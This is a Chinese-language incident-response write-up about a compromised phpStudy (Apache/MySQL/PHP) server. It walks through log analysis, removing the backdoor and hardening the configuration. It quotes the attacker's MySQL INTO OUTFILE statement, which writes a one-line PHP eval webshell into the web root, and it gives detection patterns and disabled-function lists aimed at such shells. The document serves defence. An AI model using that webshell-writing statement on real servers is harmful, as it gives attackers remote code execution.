服务器入侵事件复盘:从发现到修复的完全指南

在这里插入图片描述

欢迎来到这场惊心动魄的入侵事件复盘。无论你是运维新手、开发者,还是不小心被黑的小白站长,这篇文档都将带你一步步回顾一次真实的 MySQL 写 shell 攻击,并学会如何彻底止血、清理后门、加固系统。别再慌张,跟着我做,服务器还能救回来。

事件背景:phpStudy 集成环境(Apache 2.4.23 + MySQL 5.5.53 + PHP 5.4.45)遭遇入侵,攻击者通过 MySQL INTO OUTFILE 写入一句话木马,并持续扫描后门。Apache 频繁崩溃,日志中留下大量恶意访问记录。

攻击时间线:魔鬼藏在日志里

1. 首次入侵(2026‑05‑19 00:07:36)

MySQL 日志显示,攻击者通过 root 连接数据库,执行了经典的写 shell 操作:

select '<?php @eval($_POST[x])?>' INTO OUTFILE 'C:\phpStudy\www\o.php'
  • 后果:Web 目录下生成后门文件 o.php,攻击者可使用中国菜刀、蚁剑等工具直接执行任意 PHP 代码,获取服务器控制权。

2. 持续扫描与 Apache 崩溃(2026‑05‑19 00:10 ~ 00:12)

Apache 错误日志记录到:

[Tue May 19 00:10:02.608377 2026] [:error] [client 175.30.110.165:62787] script 'C:/phpStudy/WWW/phpMyAdmin/view_creat.php' not found
[Tue May 19 00:11:55.558236] [mpm_winnt:crit] [pid 4028:tid 816] AH02538: Child: Parent process exited abruptly
[Tue May 19 00:12:21.807354] [mpm_winnt:crit] [pid 2776:tid 512] AH02538: Child: Parent process exited abruptly
  • 现象:攻击者频繁请求不存在的 view_creat.php(可能是自动化扫描常见后门名称)。
  • 结果:Apache 多次异常退出(Parent process exited abruptly),导致服务不稳定。

3. 攻击 IP 溯源

归属信息 内容
IP 地址 175.30.110.165
地理位置(ipip) 中国 吉林 长春 电信
可能性质 国内肉鸡 / 代理 / 真实攻击者

注意:IP 归属地仅作参考,不可直接锁定真实身份。攻击者可使用跳板或代理。

影响评估:服务器已处于“裸奔”状态

  • 后门确认C:\phpStudy\www\o.php 存在且可被远程访问。
  • 权限泄露:MySQL root 密码可能已被窃取(弱密码或空密码)。
  • 配置缺陷secure-file-priv 未配置,导致任意目录可写。
  • 版本过旧:MySQL 5.5.53、Apache 2.4.23、PHP 5.4.45 均停止安全更新,漏洞众多。
  • 持久化风险:攻击者可能已植入其他后门、计划任务或系统用户。

修复步骤:分秒必争,手把手教你清理

第一步:切断网络与进程(立即执行)

  1. 停止 Apache 和 MySQL 服务(你已经做了)
  2. 拔掉网线或在防火墙禁用外网访问(如云服务器安全组全部拒绝)
  3. 结束所有残留的 httpd.exe 和 mysqld.exe 进程
taskkill /F /IM httpd.exe
taskkill /F /IM mysqld.exe

第二步:删除已知木马 + 全盘扫描

  • 删除 C:\phpStudy\www\o.php
  • 删除整个 C:\phpStudy\WWW\phpMyAdmin 目录(如果不需要远程管理)
  • 使用 D 盾河马查杀 扫描整个 WWW 目录,清除所有 webshell

手动查找可疑文件命令(在 WWW 目录下执行):

findstr /s /i /m "eval.*$_POST" *.php
findstr /s /i /m "base64_decode" *.php

第三步:修复 MySQL 配置,禁止再次写 shell

编辑 C:\phpStudy\MySQL\my.ini,在 [mysqld] 下添加:

secure-file-priv = NULL

然后修改 root 密码(启动 MySQL 后执行):

ALTER USER 'root'@'localhost' IDENTIFIED BY '你的新强密码@2026';

删除多余用户:

DELETE FROM mysql.user WHERE User='';
FLUSH PRIVILEGES;

第四步:修复 Apache 频繁崩溃

  1. 删除残留的 pid 文件:C:\phpStudy\Apache\logs\httpd.pid
  2. 测试配置语法:
    cd C:\phpStudy\Apache\bin
    httpd -t
    
  3. 检查 httpd.conf 中是否有恶意 LoadModule 或 DocumentRoot 被篡改。
  4. 临时封禁攻击 IP(在 httpd.conf 中加入):
    <RequireAll>
        Require all granted
        Require not ip 175.30.110.165
    </RequireAll>
    

第五步:检查系统级后门

检查项 操作
计划任务 taskschd.msc 中查找名称含 update、system 等可疑任务
启动项 msconfig → 启动 → 任务管理器,检查不明程序
用户账户 lusrmgr.msc 看是否新增未知管理员
服务 services.msc 检查非标准服务

第六步:终极方案 – 重装环境(强烈推荐)

由于你的环境版本过低且已被深度渗透,手动清理无法保证 100% 干净。请按以下步骤彻底重置

  1. 备份你自己的网站源码(不要打包 phpStudy 自带文件)
  2. 导出数据库(用 mysqldump 或 phpMyAdmin 导出 SQL)
  3. 卸载 phpStudy,删除整个 C:\phpStudy 目录
  4. 安装新版 PHP 集成环境:推荐 小皮面板 (Xp.cn) 或 phpStudy 最新版(PHP 7.4+ / MySQL 5.7+)
  5. 导入源码和数据库,修改配置文件中的数据库密码
  6. 应用安全加固
    • 设置 secure-file-priv = NULL
    • 禁用危险函数:disable_functions = exec,system,passthru,shell_exec,eval
    • 修改 phpMyAdmin 路径为复杂目录名,并设置强密码

加固建议:让服务器从此百毒不侵

1. MySQL 安全基线

secure-file-priv = NULL   # 禁止任意文件写入
max_allowed_packet = 16M
skip-grant-tables = OFF   # 绝对不能开启

2. PHP 安全配置

disable_functions = exec,system,passthru,shell_exec,proc_open,curl_exec,eval
open_basedir = "C:/phpStudy/WWW/;C:/tmp/"   # 限制 PHP 访问目录
expose_php = Off
allow_url_include = Off

3. Apache 安全加固

  • 隐藏版本号:ServerTokens ProdServerSignature Off
  • 禁用目录列表:Options -Indexes
  • 限制上传目录的 PHP 执行权限:
    <Directory "C:/phpStudy/WWW/uploads">
        php_flag engine off
    </Directory>
    

4. 日常监控

  • 定期检查日志中可疑的 INTO OUTFILEeval( 关键词。
  • 使用文件完整性监控工具(如 Tripwire)。
  • 设置阿里云/腾讯云安全组,只开放必要端口(80,443,3306 只允许内网)。

总结:别哭,站起来继续战斗

入侵不可怕,可怕的是不知道入侵后该做什么。 通过这次事件,你已经学会了:

  • 如何解读 MySQL 和 Apache 日志中的攻击痕迹。
  • 如何找到并删除一句话木马。
  • 如何加固 MySQL 禁止写 shell。
  • 如何排查系统级后门并重装干净环境。

最后赠送一句忠告:永远不要在生产环境使用 phpStudy 2016 或更早的版本。它们就像没有锁的保险柜,谁都能打开。现在就升级到受支持的环境,并定期备份!

推荐阅读


Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐